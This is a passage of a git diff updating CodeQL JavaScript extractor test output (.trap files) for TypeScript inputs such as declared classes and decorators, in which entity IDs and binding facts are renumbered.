enclosing_stmt(#23155,#23147) expr_containers(#23155,#22805) literals("foo","foo",#23155) -bind(#23155,#23116) +bind(#23155,#22809) #23156=* stmts(#23156,35,#22805,17,"type An ... => any;") #23157=@"loc,{#10000},99,3,99,45" @@ -9896,7 +9896,7 @@ hasLocation(#23158,#22098) enclosing_stmt(#23158,#23156) expr_containers(#23158,#22805) literals("AnyFunction","AnyFunction",#23158) -typedecl(#23158,#22823) +typedecl(#23158,#22824) #23159=* typeexprs(#23159,23,#23156,1,"(...arg ... => any") #23160=@"loc,{#10000},99,22,99,44" @@ -9953,7 +9953,7 @@ hasLocation(#23172,#22126) enclosing_stmt(#23172,#23170) expr_containers(#23172,#22805) literals("ReturnType","ReturnType",#23172) -typedecl(#23172,#22824) +typedecl(#23172,#22825) #23173=* scopes(#23173,12) scopenodes(#23170,#23173) @@ -9980,7 +9980,7 @@ hasLocation(#23178,#22134) enclosing_stmt(#23178,#23170) expr_containers(#23178,#22805) literals("AnyFunction","AnyFunction",#23178) -typebind(#23178,#22823) +typebind(#23178,#22824) #23179=* typeexprs(#23179,28,#23170,1,"T exten ... R : any") #23180=@"loc,{#10000},100,44,100,90" @@ -10084,21 +10084,21 @@ successor(#23156,#23170) successor(#23147,#23156) successor(#23132,#23147) successor(#23123,#23132) -successor(#23113,#23123) -successor(#23081,#23113) -successor(#23049,#23081) -successor(#23005,#23049) -successor(#22989,#23005) -successor(#22973,#22989) -successor(#22945,#22973) -successor(#22930,#22945) -successor(#22918,#22930) -successor(#22908,#22918) -successor(#22896,#22908) -successor(#22887,#22896) -successor(#22880,#22887) -successor(#22825,#22880) -successor(#22805,#22825) +successor(#23114,#23123) +successor(#23082,#23114) +successor(#23050,#23082) +successor(#23006,#23050) +successor(#22990,#23006) +successor(#22974,#22990) +successor(#22946,#22974) +successor(#22931,#22946) +successor(#22919,#22931) +successor(#22909,#22919) +successor(#22897,#22909) +successor(#22888,#22897) +successor(#22881,#22888) +successor(#22826,#22881) +successor(#22805,#22826) successor(#22185,#22183) successor(#22777,#22807) successor(#22770,#22777) diff --git a/javascript/extractor/tests/ts/output/trap/declareClass.ts.trap b/javascript/extractor/tests/ts/output/trap/declareClass.ts.trap index 6bc9fb5ffb2..83ada22ef89 100644 --- a/javascript/extractor/tests/ts/output/trap/declareClass.ts.trap +++ b/javascript/extractor/tests/ts/output/trap/declareClass.ts.trap @@ -50,61 +50,64 @@ toplevels(#20001,0) #20016=@"loc,{#10000},1,1,2,0" locations_default(#20016,#10000,1,1,2,0) hasLocation(#20001,#20016) -#20017=* -stmts(#20017,26,#20001,0,"declare class C {}") -hasLocation(#20017,#20003) -stmt_containers(#20017,#20001) -has_declare_keyword(#20017) -#20018=* -exprs(#20018,78,#20017,0,"C") -hasLocation(#20018,#20009) -enclosing_stmt(#20018,#20017) -expr_containers(#20018,#20001) -literals("C","C",#20018) -#20019=@"var;{C};{#20000}" -variables(#20019,"C",#20000) -decl(#20018,#20019) +#20017=@"var;{C};{#20000}" +variables(#20017,"C",#20000) +#20018=@"local_type_name;{C};{#20000}" +local_type_names(#20018,"C",#20000) +#20019=* +stmts(#20019,26,#20001,0,"declare class C {}") +hasLocation(#20019,#20003) +stmt_containers(#20019,#20001) +has_declare_keyword(#20019) #20020=* -scopes(#20020,10) -scopenodes(#20017,#20020) -scopenesting(#20020,#20000) +exprs(#20020,78,#20019,0,"C") +hasLocation(#20020,#20009) +enclosing_stmt(#20020,#20019) +expr_containers(#20020,#20001) +literals("C","C",#20020) +decl(#20020,#20017) +typedecl(#20020,#20018) #20021=* -properties(#20021,#20017,2,0,"constructor() {}") -#20022=@"loc,{#10000},1,17,1,16" -locations_default(#20022,#10000,1,17,1,16) -hasLocation(#20021,#20022) -#20023=* -exprs(#20023,0,#20021,0,"constructor") -hasLocation(#20023,#20022) -enclosing_stmt(#20023,#20017) -expr_containers(#20023,#20001) -literals("constructor","constructor",#20023) +scopes(#20021,10) +scopenodes(#20019,#20021) +scopenesting(#20021,#20000) +#20022=* +properties(#20022,#20019,2,0,"constructor() {}") +#20023=@"loc,{#10000},1,17,1,16" +locations_default(#20023,#10000,1,17,1,16) +hasLocation(#20022,#20023) #20024=* -exprs(#20024,9,#20021,1,"() {}") -hasLocation(#20024,#20022) -enclosing_stmt(#20024,#20017) +exprs(#20024,0,#20022,0,"constructor") +hasLocation(#20024,#20023) +enclosing_stmt(#20024,#20019) expr_containers(#20024,#20001) +literals("constructor","constructor",#20024) #20025=* -scopes(#20025,1) -scopenodes(#20024,#20025) -scopenesting(#20025,#20020) -#20026=@"var;{arguments};{#20025}" -variables(#20026,"arguments",#20025) -is_arguments_object(#20026) -#20027=* -stmts(#20027,1,#20024,-2,"{}") -hasLocation(#20027,#20022) -stmt_containers(#20027,#20024) -is_method(#20021) +exprs(#20025,9,#20022,1,"() {}") +hasLocation(#20025,#20023) +enclosing_stmt(#20025,#20019) +expr_containers(#20025,#20001) +#20026=* +scopes(#20026,1) +scopenodes(#20025,#20026) +scopenesting(#20026,#20021) +#20027=@"var;{arguments};{#20026}" +variables(#20027,"arguments",#20026) +is_arguments_object(#20027) #20028=* -entry_cfg_node(#20028,#20001) -#20029=@"loc,{#10000},1,1,1,0" -locations_default(#20029,#10000,1,1,1,0) -hasLocation(#20028,#20029) -#20030=* -exit_cfg_node(#20030,#20001) -hasLocation(#20030,#20015) -successor(#20017,#20030) -successor(#20028,#20017) +stmts(#20028,1,#20025,-2,"{}") +hasLocation(#20028,#20023) +stmt_containers(#20028,#20025) +is_method(#20022) +#20029=* +entry_cfg_node(#20029,#20001) +#20030=@"loc,{#10000},1,1,1,0" +locations_default(#20030,#10000,1,1,1,0) +hasLocation(#20029,#20030) +#20031=* +exit_cfg_node(#20031,#20001) +hasLocation(#20031,#20015) +successor(#20019,#20031) +successor(#20029,#20019) numlines(#10000,1,1,0) filetype(#10000,"typescript") diff --git a/javascript/extractor/tests/ts/output/trap/functiondecorators.ts.trap b/javascript/extractor/tests/ts/output/trap/functiondecorators.ts.trap index 89cd1760443..00276bb6464 100644 --- a/javascript/extractor/tests/ts/output/trap/functiondecorators.ts.trap +++ b/javascript/extractor/tests/ts/output/trap/functiondecorators.ts.trap @@ -584,62 +584,63 @@ toplevels(#20001,0) #20221=@"loc,{#10000},1,1,16,0" locations_default(#20221,#10000,1,1,16,0) hasLocation(#20001,#20221) -#20222=@"var;{C};{#20000}" -variables(#20222,"C",#20000) -#20223=@"local_type_name;{C};{#20000}" -local_type_names(#20223,"C",#20000) -#20224=* -stmts(#20224,18,#20001,0,"declare var A : any;") -hasLocation(#20224,#20003) -stmt_containers(#20224,#20001) -has_declare_keyword(#20224) -#20225=* -exprs(#20225,64,#20224,0,"A : any") -#20226=@"loc,{#10000},1,13,1,19" -locations_default(#20226,#10000,1,13,1,19) -hasLocation(#20225,#20226) -enclosing_stmt(#20225,#20224) -expr_containers(#20225,#20001) +#20222=@"var;{A};{#20000}" +variables(#20222,"A",#20000) +#20223=@"var;{B};{#20000}" +variables(#20223,"B",#20000) +#20224=@"var;{C};{#20000}" +variables(#20224,"C",#20000) +variables(#20224,"C",#20000) +#20225=@"local_type_name;{C};{#20000}" +local_type_names(#20225,"C",#20000) +#20226=* +stmts(#20226,18,#20001,0,"declare var A : any;") +hasLocation(#20226,#20003) +stmt_containers(#20226,#20001) +has_declare_keyword(#20226) #20227=* -exprs(#20227,78,#20225,0,"A") -hasLocation(#20227,#20037) -enclosing_stmt(#20227,#20224) +exprs(#20227,64,#20226,0,"A : any") +#20228=@"loc,{#10000},1,13,1,19" +locations_default(#20228,#10000,1,13,1,19) +hasLocation(#20227,#20228) +enclosing_stmt(#20227,#20226) expr_containers(#20227,#20001) -literals("A","A",#20227) -#20228=@"var;{A};{#20000}" -variables(#20228,"A",#20000) -decl(#20227,#20228) #20229=* -typeexprs(#20229,2,#20225,2,"any") -hasLocation(#20229,#20041) -enclosing_stmt(#20229,#20224) +exprs(#20229,78,#20227,0,"A") +hasLocation(#20229,#20037) +enclosing_stmt(#20229,#20226) expr_containers(#20229,#20001) -literals("any","any",#20229) +literals("A","A",#20229) +decl(#20229,#20222) #20230=* -stmts(#20230,18,#20001,1,"declare var B : any;") -hasLocation(#20230,#20005) -stmt_containers(#20230,#20001) -has_declare_keyword(#20230) +typeexprs(#20230,2,#20227,2,"any") +hasLocation(#20230,#20041) +enclosing_stmt(#20230,#20226) +expr_containers(#20230,#20001) +literals("any","any",#20230) #20231=* -exprs(#20231,64,#20230,0,"B : any") -#20232=@"loc,{#10000},2,13,2,19" -locations_default(#20232,#10000,2,13,2,19) -hasLocation(#20231,#20232) -enclosing_stmt(#20231,#20230) -expr_containers(#20231,#20001) -#20233=* -exprs(#20233,78,#20231,0,"B") -hasLocation(#20233,#20049) -enclosing_stmt(#20233,#20230) -expr_containers(#20233,#20001) -literals("B","B",#20233) -#20234=@"var;{B};{#20000}" -variables(#20234,"B",#20000) -decl(#20233,#20234) +stmts(#20231,18,#20001,1,"declare var B : any;") +hasLocation(#20231,#20005) +stmt_containers(#20231,#20001) +has_declare_keyword(#20231) +#20232=* +exprs(#20232,64,#20231,0,"B : any") +#20233=@"loc,{#10000},2,13,2,19" +locations_default(#20233,#10000,2,13,2,19) +hasLocation(#20232,#20233) +enclosing_stmt(#20232,#20231) +expr_containers(#20232,#20001) +#20234=* +exprs(#20234,78,#20232,0,"B") +hasLocation(#20234,#20049) +enclosing_stmt(#20234,#20231) +expr_containers(#20234,#20001) +literals("B","B",#20234) +decl(#20234,#20223) #20235=* -typeexprs(#20235,2,#20231,2,"any") +typeexprs(#20235,2,#20232,2,"any") hasLocation(#20235,#20053) -enclosing_stmt(#20235,#20230) +enclosing_stmt(#20235,#20231) expr_containers(#20235,#20001) literals("any","any",#20235) #20236=* @@ -660,7 +661,7 @@ hasLocation(#20239,#20061) enclosing_stmt(#20239,#20236) expr_containers(#20239,#20001) literals("C","C",#20239) -decl(#20239,#20222) +decl(#20239,#20224) #20240=* typeexprs(#20240,2,#20237,2,"any") hasLocation(#20240,#20065) @@ -679,8 +680,8 @@ hasLocation(#20243,#20071) enclosing_stmt(#20243,#20241) expr_containers(#20243,#20001) literals("C","C",#20243) -decl(#20243,#20222) -typedecl(#20243,#20223) +decl(#20243,#20224) +typedecl(#20243,#20225) #20244=* scopes(#20244,10) scopenodes(#20241,#20244) @@ -769,7 +770,7 @@ exprs(#20266,79,#20265,0,"A") hasLocation(#20266,#20093) expr_containers(#20266,#20258) literals("A","A",#20266) -bind(#20266,#20228) +bind(#20266,#20222) #20267=* stmts(#20267,1,#20258,-2,"{}") #20268=@"loc,{#10000},7,12,7,13" @@ -825,7 +826,7 @@ exprs(#20281,79,#20279,0,"A") hasLocation(#20281,#20109) expr_containers(#20281,#20272) literals("A","A",#20281) -bind(#20281,#20228) +bind(#20281,#20222) #20282=* exprs(#20282,94,#20277,1,"@B") #20283=@"loc,{#10000},8,9,8,10" @@ -837,7 +838,7 @@ exprs(#20284,79,#20282,0,"B") hasLocation(#20284,#20113) expr_containers(#20284,#20272) literals("B","B",#20284) -bind(#20284,#20234) +bind(#20284,#20223) #20285=* stmts(#20285,1,#20272,-2,"{}") #20286=@"loc,{#10000},8,16,8,17" @@ -899,7 +900,7 @@ exprs(#20300,79,#20299,0,"A") hasLocation(#20300,#20133) expr_containers(#20300,#20290) literals("A","A",#20300) -bind(#20300,#20228) +bind(#20300,#20222) #20301=* stmts(#20301,1,#20290,-2,"{}") #20302=@"loc,{#10000},10,18,10,19" @@ -963,7 +964,7 @@ exprs(#20317,79,#20315,0,"A") hasLocation(#20317,#20153) expr_containers(#20317,#20306) literals("A","A",#20317) -bind(#20317,#20228) +bind(#20317,#20222) #20318=* exprs(#20318,94,#20313,1,"@B") #20319=@"loc,{#10000},11,15,11,16" @@ -975,7 +976,7 @@ exprs(#20320,79,#20318,0,"B") hasLocation(#20320,#20157) expr_containers(#20320,#20306) literals("B","B",#20320) -bind(#20320,#20234) +bind(#20320,#20223) #20321=* stmts(#20321,1,#20306,-2,"{}") #20322=@"loc,{#10000},11,22,11,23" @@ -1037,7 +1038,7 @@ exprs(#20336,79,#20335,0,"A") hasLocation(#20336,#20173) expr_containers(#20336,#20326) literals("A","A",#20336) -bind(#20336,#20228) +bind(#20336,#20222) #20337=* exprs(#20337,104,#20326,-12,"@B") #20338=@"loc,{#10000},13,12,13,13" @@ -1053,7 +1054,7 @@ exprs(#20340,79,#20339,0,"B") hasLocation(#20340,#20181) expr_containers(#20340,#20326) literals("B","B",#20340) -bind(#20340,#20234) +bind(#20340,#20223) #20341=* stmts(#20341,1,#20326,-2,"{}") #20342=@"loc,{#10000},13,18,13,19" @@ -1115,7 +1116,7 @@ exprs(#20356,79,#20355,0,"A") hasLocation(#20356,#20197) expr_containers(#20356,#20346) literals("A","A",#20356) -bind(#20356,#20228) +bind(#20356,#20222) #20357=* exprs(#20357,104,#20346,-12,"@B @C") #20358=@"loc,{#10000},14,12,14,16" @@ -1133,7 +1134,7 @@ exprs(#20361,79,#20359,0,"B") hasLocation(#20361,#20205) expr_containers(#20361,#20346) literals("B","B",#20361) -bind(#20361,#20234) +bind(#20361,#20223) #20362=* exprs(#20362,94,#20357,1,"@C") #20363=@"loc,{#10000},14,15,14,16" @@ -1145,7 +1146,7 @@ exprs(#20364,79,#20362,0,"C") hasLocation(#20364,#20209) expr_containers(#20364,#20346) literals("C","C",#20364) -bind(#20364,#20222) +bind(#20364,#20224) #20365=* stmts(#20365,1,#20346,-2,"{}") #20366=@"loc,{#10000},14,22,14,23" @@ -1349,8 +1350,8 @@ successor(#20265,#20263) successor(#20263,#20281) successor(#20241,#20266) successor(#20236,#20243) -successor(#20230,#20236) -successor(#20224,#20230) -successor(#20374,#20224) +successor(#20231,#20236) +successor(#20226,#20231) +successor(#20374,#20226) numlines(#10000,15,12,0) filetype(#10000,"typescript") diff --git a/javascript/extractor/tests/ts/output/trap/nobody.ts.trap b/javascript/extractor/tests/ts/output/trap/nobody.ts.trap index 44a32603e09..717d79423ab 100644 --- a/javascript/extractor/tests/ts/output/trap/nobody.ts.trap +++ b/javascript/extractor/tests/ts/output/trap/nobody.ts.trap @@ -694,506 +694,509 @@ toplevels(#20001,0) #20252=@"loc,{#10000},2,1,30,0" locations_default(#20252,#10000,2,1,30,0) hasLocation(#20001,#20252) -#20253=@"var;{C};{#20000}" -variables(#20253,"C",#20000) -#20254=@"local_type_name;{C};{#20000}" -local_type_names(#20254,"C",#20000) -#20255=* -stmts(#20255,17,#20001,0,"declare ... on f();") -hasLocation(#20255,#20020) -stmt_containers(#20255,#20001) -has_declare_keyword(#20255) -#20256=* -exprs(#20256,78,#20255,-1,"f") -hasLocation(#20256,#20079) -expr_containers(#20256,#20255) -literals("f","f",#20256) -#20257=@"var;{f};{#20000}" -variables(#20257,"f",#20000) -decl(#20256,#20257) +#20253=@"var;{f};{#20000}" +variables(#20253,"f",#20000) +#20254=@"var;{C};{#20000}" +variables(#20254,"C",#20000) +#20255=@"var;{D};{#20000}" +variables(#20255,"D",#20000) +#20256=@"local_type_name;{C};{#20000}" +local_type_names(#20256,"C",#20000) +#20257=@"local_type_name;{D};{#20000}" +local_type_names(#20257,"D",#20000) #20258=* -scopes(#20258,1) -scopenodes(#20255,#20258) -scopenesting(#20258,#20000) -#20259=@"var;{arguments};{#20258}" -variables(#20259,"arguments",#20258) -is_arguments_object(#20259) +stmts(#20258,17,#20001,0,"declare ... on f();") +hasLocation(#20258,#20020) +stmt_containers(#20258,#20001) +has_declare_keyword(#20258) +#20259=* +exprs(#20259,78,#20258,-1,"f") +hasLocation(#20259,#20079) +expr_containers(#20259,#20258) +literals("f","f",#20259) +decl(#20259,#20253) #20260=* -stmts(#20260,26,#20001,1,"abstrac ... mber;\n}") -#20261=@"loc,{#10000},4,1,15,1" -locations_default(#20261,#10000,4,1,15,1) -hasLocation(#20260,#20261) -stmt_containers(#20260,#20001) -is_abstract_class(#20260) +scopes(#20260,1) +scopenodes(#20258,#20260) +scopenesting(#20260,#20000) +#20261=@"var;{arguments};{#20260}" +variables(#20261,"arguments",#20260) +is_arguments_object(#20261) #20262=* -exprs(#20262,78,#20260,0,"C") -hasLocation(#20262,#20091) -enclosing_stmt(#20262,#20260) -expr_containers(#20262,#20001) -literals("C","C",#20262) -decl(#20262,#20253) -typedecl(#20262,#20254) -#20263=* -scopes(#20263,10) -scopenodes(#20260,#20263) -scopenesting(#20263,#20000) +stmts(#20262,26,#20001,1,"abstrac ... mber;\n}") +#20263=@"loc,{#10000},4,1,15,1" +locations_default(#20263,#10000,4,1,15,1) +hasLocation(#20262,#20263) +stmt_containers(#20262,#20001) +is_abstract_class(#20262) #20264=* -properties(#20264,#20260,2,0,"abstract h();") -#20265=@"loc,{#10000},6,3,6,15" -locations_default(#20265,#10000,6,3,6,15) -hasLocation(#20264,#20265) +exprs(#20264,78,#20262,0,"C") +hasLocation(#20264,#20091) +enclosing_stmt(#20264,#20262) +expr_containers(#20264,#20001) +literals("C","C",#20264) +decl(#20264,#20254) +typedecl(#20264,#20256) +#20265=* +scopes(#20265,10) +scopenodes(#20262,#20265) +scopenesting(#20265,#20000) #20266=* -exprs(#20266,0,#20264,0,"h") -hasLocation(#20266,#20097) -enclosing_stmt(#20266,#20260) -expr_containers(#20266,#20001) -literals("h","h",#20266) -#20267=* -exprs(#20267,9,#20264,1,"abstract h();") -hasLocation(#20267,#20265) -enclosing_stmt(#20267,#20260) -expr_containers(#20267,#20001) +properties(#20266,#20262,2,0,"abstract h();") +#20267=@"loc,{#10000},6,3,6,15" +locations_default(#20267,#10000,6,3,6,15) +hasLocation(#20266,#20267) #20268=* -scopes(#20268,1) -scopenodes(#20267,#20268) -scopenesting(#20268,#20263) -#20269=@"var;{arguments};{#20268}" -variables(#20269,"arguments",#20268) -is_arguments_object(#20269) -is_method(#20264) -is_abstract_member(#20264) +exprs(#20268,0,#20266,0,"h") +hasLocation(#20268,#20097) +enclosing_stmt(#20268,#20262) +expr_containers(#20268,#20001) +literals("h","h",#20268) +#20269=* +exprs(#20269,9,#20266,1,"abstract h();") +hasLocation(#20269,#20267) +enclosing_stmt(#20269,#20262) +expr_containers(#20269,#20001) #20270=* -properties(#20270,#20260,3,0,"g(x: nu ... number;") -#20271=@"loc,{#10000},9,3,9,23" -locations_default(#20271,#10000,9,3,9,23) -hasLocation(#20270,#20271) +scopes(#20270,1) +scopenodes(#20269,#20270) +scopenesting(#20270,#20265) +#20271=@"var;{arguments};{#20270}" +variables(#20271,"arguments",#20270) +is_arguments_object(#20271) +is_method(#20266) +is_abstract_member(#20266) #20272=* -exprs(#20272,0,#20270,0,"g") -hasLocation(#20272,#20105) -enclosing_stmt(#20272,#20260) -expr_containers(#20272,#20001) -literals("g","g",#20272) -#20273=* -exprs(#20273,9,#20270,1,"g(x: nu ... number;") -hasLocation(#20273,#20271) -enclosing_stmt(#20273,#20260) -expr_containers(#20273,#20001) +properties(#20272,#20262,3,0,"g(x: nu ... number;") +#20273=@"loc,{#10000},9,3,9,23" +locations_default(#20273,#10000,9,3,9,23) +hasLocation(#20272,#20273) #20274=* -scopes(#20274,1) -scopenodes(#20273,#20274) -scopenesting(#20274,#20263) -#20275=@"var;{x};{#20274}" -variables(#20275,"x",#20274) +exprs(#20274,0,#20272,0,"g") +hasLocation(#20274,#20105) +enclosing_stmt(#20274,#20262) +expr_containers(#20274,#20001) +literals("g","g",#20274) +#20275=* +exprs(#20275,9,#20272,1,"g(x: nu ... number;") +hasLocation(#20275,#20273) +enclosing_stmt(#20275,#20262) +expr_containers(#20275,#20001) #20276=* -exprs(#20276,78,#20273,0,"x") -hasLocation(#20276,#20109) -expr_containers(#20276,#20273) -literals("x","x",#20276) -decl(#20276,#20275) -#20277=@"var;{arguments};{#20274}" -variables(#20277,"arguments",#20274) -is_arguments_object(#20277) +scopes(#20276,1) +scopenodes(#20275,#20276) +scopenesting(#20276,#20265) +#20277=@"var;{x};{#20276}" +variables(#20277,"x",#20276) #20278=* -typeexprs(#20278,2,#20273,-3,"number") -hasLocation(#20278,#20119) -expr_containers(#20278,#20273) -literals("number","number",#20278) -#20279=* -typeexprs(#20279,2,#20273,-6,"number") -hasLocation(#20279,#20113) -expr_containers(#20279,#20273) -literals("number","number",#20279) -is_method(#20270) +exprs(#20278,78,#20275,0,"x") +hasLocation(#20278,#20109) +expr_containers(#20278,#20275) +literals("x","x",#20278) +decl(#20278,#20277) +#20279=@"var;{arguments};{#20276}" +variables(#20279,"arguments",#20276) +is_arguments_object(#20279) #20280=* -properties(#20280,#20260,4,0,"g(x: st ... string;") -#20281=@"loc,{#10000},10,3,10,23" -locations_default(#20281,#10000,10,3,10,23) -hasLocation(#20280,#20281) +typeexprs(#20280,2,#20275,-3,"number") +hasLocation(#20280,#20119) +expr_containers(#20280,#20275) +literals("number","number",#20280) +#20281=* +typeexprs(#20281,2,#20275,-6,"number") +hasLocation(#20281,#20113) +expr_containers(#20281,#20275) +literals("number","number",#20281) +is_method(#20272) #20282=* -exprs(#20282,0,#20280,0,"g") -hasLocation(#20282,#20123) -enclosing_stmt(#20282,#20260) -expr_containers(#20282,#20001) -literals("g","g",#20282) -#20283=* -exprs(#20283,9,#20280,1,"g(x: st ... string;") -hasLocation(#20283,#20281) -enclosing_stmt(#20283,#20260) -expr_containers(#20283,#20001) +properties(#20282,#20262,4,0,"g(x: st ... string;") +#20283=@"loc,{#10000},10,3,10,23" +locations_default(#20283,#10000,10,3,10,23) +hasLocation(#20282,#20283) #20284=* -scopes(#20284,1) -scopenodes(#20283,#20284) -scopenesting(#20284,#20263) -#20285=@"var;{x};{#20284}" -variables(#20285,"x",#20284) +exprs(#20284,0,#20282,0,"g") +hasLocation(#20284,#20123) +enclosing_stmt(#20284,#20262) +expr_containers(#20284,#20001) +literals("g","g",#20284) +#20285=* +exprs(#20285,9,#20282,1,"g(x: st ... string;") +hasLocation(#20285,#20283) +enclosing_stmt(#20285,#20262) +expr_containers(#20285,#20001) #20286=* -exprs(#20286,78,#20283,0,"x") -hasLocation(#20286,#20127) -expr_containers(#20286,#20283) -literals("x","x",#20286) -decl(#20286,#20285) -#20287=@"var;{arguments};{#20284}" -variables(#20287,"arguments",#20284) -is_arguments_object(#20287) +scopes(#20286,1) +scopenodes(#20285,#20286) +scopenesting(#20286,#20265) +#20287=@"var;{x};{#20286}" +variables(#20287,"x",#20286) #20288=* -typeexprs(#20288,2,#20283,-3,"string") -hasLocation(#20288,#20137) -expr_containers(#20288,#20283) -literals("string","string",#20288) -#20289=* -typeexprs(#20289,2,#20283,-6,"string") -hasLocation(#20289,#20131) -expr_containers(#20289,#20283) -literals("string","string",#20289) -is_method(#20280) +exprs(#20288,78,#20285,0,"x") +hasLocation(#20288,#20127) +expr_containers(#20288,#20285) +literals("x","x",#20288) +decl(#20288,#20287) +#20289=@"var;{arguments};{#20286}" +variables(#20289,"arguments",#20286) +is_arguments_object(#20289) #20290=* -properties(#20290,#20260,5,0,"g(x: any) {}") -#20291=@"loc,{#10000},11,3,11,14" -locations_default(#20291,#10000,11,3,11,14) -hasLocation(#20290,#20291) +typeexprs(#20290,2,#20285,-3,"string") +hasLocation(#20290,#20137) +expr_containers(#20290,#20285) +literals("string","string",#20290) +#20291=* +typeexprs(#20291,2,#20285,-6,"string") +hasLocation(#20291,#20131) +expr_containers(#20291,#20285) +literals("string","string",#20291) +is_method(#20282) #20292=* -exprs(#20292,0,#20290,0,"g") -hasLocation(#20292,#20141) -enclosing_stmt(#20292,#20260) -expr_containers(#20292,#20001) -literals("g","g",#20292) -#20293=* -exprs(#20293,9,#20290,1,"g(x: any) {}") -hasLocation(#20293,#20291) -enclosing_stmt(#20293,#20260) -expr_containers(#20293,#20001) +properties(#20292,#20262,5,0,"g(x: any) {}") +#20293=@"loc,{#10000},11,3,11,14" +locations_default(#20293,#10000,11,3,11,14) +hasLocation(#20292,#20293) #20294=* -scopes(#20294,1) -scopenodes(#20293,#20294) -scopenesting(#20294,#20263) -#20295=@"var;{x};{#20294}" -variables(#20295,"x",#20294) +exprs(#20294,0,#20292,0,"g") +hasLocation(#20294,#20141) +enclosing_stmt(#20294,#20262) +expr_containers(#20294,#20001) +literals("g","g",#20294) +#20295=* +exprs(#20295,9,#20292,1,"g(x: any) {}") +hasLocation(#20295,#20293) +enclosing_stmt(#20295,#20262) +expr_containers(#20295,#20001) #20296=* -exprs(#20296,78,#20293,0,"x") -hasLocation(#20296,#20145) -expr_containers(#20296,#20293) -literals("x","x",#20296) -decl(#20296,#20295) -#20297=@"var;{arguments};{#20294}" -variables(#20297,"arguments",#20294) -is_arguments_object(#20297) +scopes(#20296,1) +scopenodes(#20295,#20296) +scopenesting(#20296,#20265) +#20297=@"var;{x};{#20296}" +variables(#20297,"x",#20296) #20298=* -typeexprs(#20298,2,#20293,-6,"any") -hasLocation(#20298,#20149) -expr_containers(#20298,#20293) -literals("any","any",#20298) -#20299=* -stmts(#20299,1,#20293,-2,"{}") -#20300=@"loc,{#10000},11,13,11,14" -locations_default(#20300,#10000,11,13,11,14) -hasLocation(#20299,#20300) -stmt_containers(#20299,#20293) -is_method(#20290) +exprs(#20298,78,#20295,0,"x") +hasLocation(#20298,#20145) +expr_containers(#20298,#20295) +literals("x","x",#20298) +decl(#20298,#20297) +#20299=@"var;{arguments};{#20296}" +variables(#20299,"arguments",#20296) +is_arguments_object(#20299) +#20300=* +typeexprs(#20300,2,#20295,-6,"any") +hasLocation(#20300,#20149) +expr_containers(#20300,#20295) +literals("any","any",#20300) #20301=* -properties(#20301,#20260,6,8,"abstract x: number;") -#20302=@"loc,{#10000},14,3,14,21" -locations_default(#20302,#10000,14,3,14,21) +stmts(#20301,1,#20295,-2,"{}") +#20302=@"loc,{#10000},11,13,11,14" +locations_default(#20302,#10000,11,13,11,14) hasLocation(#20301,#20302) +stmt_containers(#20301,#20295) +is_method(#20292) #20303=* -#20304=* -exprs(#20304,0,#20301,0,"x") -hasLocation(#20304,#20159) -expr_containers(#20304,#20303) -literals("x","x",#20304) -is_abstract_member(#20301) +properties(#20303,#20262,6,8,"abstract x: number;") +#20304=@"loc,{#10000},14,3,14,21" +locations_default(#20304,#10000,14,3,14,21) +hasLocation(#20303,#20304) #20305=* -typeexprs(#20305,2,#20301,2,"number") -hasLocation(#20305,#20163) -enclosing_stmt(#20305,#20260) -expr_containers(#20305,#20001) -literals("number","number",#20305) #20306=* -properties(#20306,#20260,7,0,"constructor() {}") -#20307=@"loc,{#10000},4,18,4,17" -locations_default(#20307,#10000,4,18,4,17) -hasLocation(#20306,#20307) +exprs(#20306,0,#20303,0,"x") +hasLocation(#20306,#20159) +expr_containers(#20306,#20305) +literals("x","x",#20306) +is_abstract_member(#20303) +#20307=* +typeexprs(#20307,2,#20303,2,"number") +hasLocation(#20307,#20163) +enclosing_stmt(#20307,#20262) +expr_containers(#20307,#20001) +literals("number","number",#20307) #20308=* -exprs(#20308,0,#20306,0,"constructor") -hasLocation(#20308,#20307) -enclosing_stmt(#20308,#20260) -expr_containers(#20308,#20001) -literals("constructor","constructor",#20308) -exprs(#20303,9,#20306,1,"() {}") -hasLocation(#20303,#20307) -enclosing_stmt(#20303,#20260) -expr_containers(#20303,#20001) -#20309=* -scopes(#20309,1) -scopenodes(#20303,#20309) -scopenesting(#20309,#20263) -#20310=@"var;{arguments};{#20309}" -variables(#20310,"arguments",#20309) -is_arguments_object(#20310) +properties(#20308,#20262,7,0,"constructor() {}") +#20309=@"loc,{#10000},4,18,4,17" +locations_default(#20309,#10000,4,18,4,17) +hasLocation(#20308,#20309) +#20310=* +exprs(#20310,0,#20308,0,"constructor") +hasLocation(#20310,#20309) +enclosing_stmt(#20310,#20262) +expr_containers(#20310,#20001) +literals("constructor","constructor",#20310) +exprs(#20305,9,#20308,1,"() {}") +hasLocation(#20305,#20309) +enclosing_stmt(#20305,#20262) +expr_containers(#20305,#20001) #20311=* -stmts(#20311,1,#20303,-2,"{}") -hasLocation(#20311,#20307) -stmt_containers(#20311,#20303) -is_method(#20306) -#20312=* -stmts(#20312,26,#20001,2,"declare ... mber;\n}") -#20313=@"loc,{#10000},18,1,29,1" -locations_default(#20313,#10000,18,1,29,1) -hasLocation(#20312,#20313) -stmt_containers(#20312,#20001) -has_declare_keyword(#20312) -is_abstract_class(#20312) +scopes(#20311,1) +scopenodes(#20305,#20311) +scopenesting(#20311,#20265) +#20312=@"var;{arguments};{#20311}" +variables(#20312,"arguments",#20311) +is_arguments_object(#20312) +#20313=* +stmts(#20313,1,#20305,-2,"{}") +hasLocation(#20313,#20309) +stmt_containers(#20313,#20305) +is_method(#20308) #20314=* -exprs(#20314,78,#20312,0,"D") -hasLocation(#20314,#20174) -enclosing_stmt(#20314,#20312) -expr_containers(#20314,#20001) -literals("D","D",#20314) -#20315=@"var;{D};{#20000}" -variables(#20315,"D",#20000) -decl(#20314,#20315) +stmts(#20314,26,#20001,2,"declare ... mber;\n}") +#20315=@"loc,{#10000},18,1,29,1" +locations_default(#20315,#10000,18,1,29,1) +hasLocation(#20314,#20315) +stmt_containers(#20314,#20001) +has_declare_keyword(#20314) +is_abstract_class(#20314) #20316=* -scopes(#20316,10) -scopenodes(#20312,#20316) -scopenesting(#20316,#20000) +exprs(#20316,78,#20314,0,"D") +hasLocation(#20316,#20174) +enclosing_stmt(#20316,#20314) +expr_containers(#20316,#20001) +literals("D","D",#20316) +decl(#20316,#20255) +typedecl(#20316,#20257) #20317=* -properties(#20317,#20312,2,0,"abstract h();") -#20318=@"loc,{#10000},20,3,20,15" -locations_default(#20318,#10000,20,3,20,15) -hasLocation(#20317,#20318) -#20319=* -exprs(#20319,0,#20317,0,"h") -hasLocation(#20319,#20180) -enclosing_stmt(#20319,#20312) 